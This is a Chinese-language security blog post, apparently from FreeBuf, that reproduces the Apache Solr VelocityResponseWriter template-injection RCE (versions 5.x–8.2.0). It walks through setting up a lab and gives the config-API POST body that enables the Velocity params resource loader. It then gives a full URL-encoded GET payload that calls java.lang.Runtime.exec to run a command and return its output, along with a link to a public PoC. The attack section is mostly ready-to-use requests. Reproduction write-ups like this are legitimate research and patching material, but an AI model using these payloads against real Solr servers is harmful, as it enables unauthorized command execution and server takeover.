freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Solr velocity模板注入RCE漏洞
2020-07-27 21:41:55

0x01简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

0x02漏洞介绍

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

0x03影响范围

Apache Solr 5.x - 8.2.0,存在config API版本

0x04环境搭建

安装java8环境,然后下载Solr,下载地址:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

下载完成后解压然后进入bin目录执行./solr start

unzip solr-8.2.0.zip

 

启动会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将SOLR_ULIMIT_CHECKS设置为false

vim solr.in.sh

 

然后再次进行启动 ./solr start  root启动失败的话在后面加上加上-force即可

在浏览器访问http://ip:8983,出现以下界面表示安装成功

但是发现不能创建core

我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建

0x05漏洞复现

创建好Core后访问查看该应用config文件是否可以访问

http://ip:8983/solr/new_core/config

Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改整合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

 

使用Burp抓取本页面的包,直接构造POST请求,加入以下数据

 

{

  "update-queryresponsewriter": {

    "startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

    "template.base.dir": "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

  }

}

 

接下来我们就可以构造payload来实现RCE

payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

 POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06修复方式

更新到最新版本

# web安全 # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者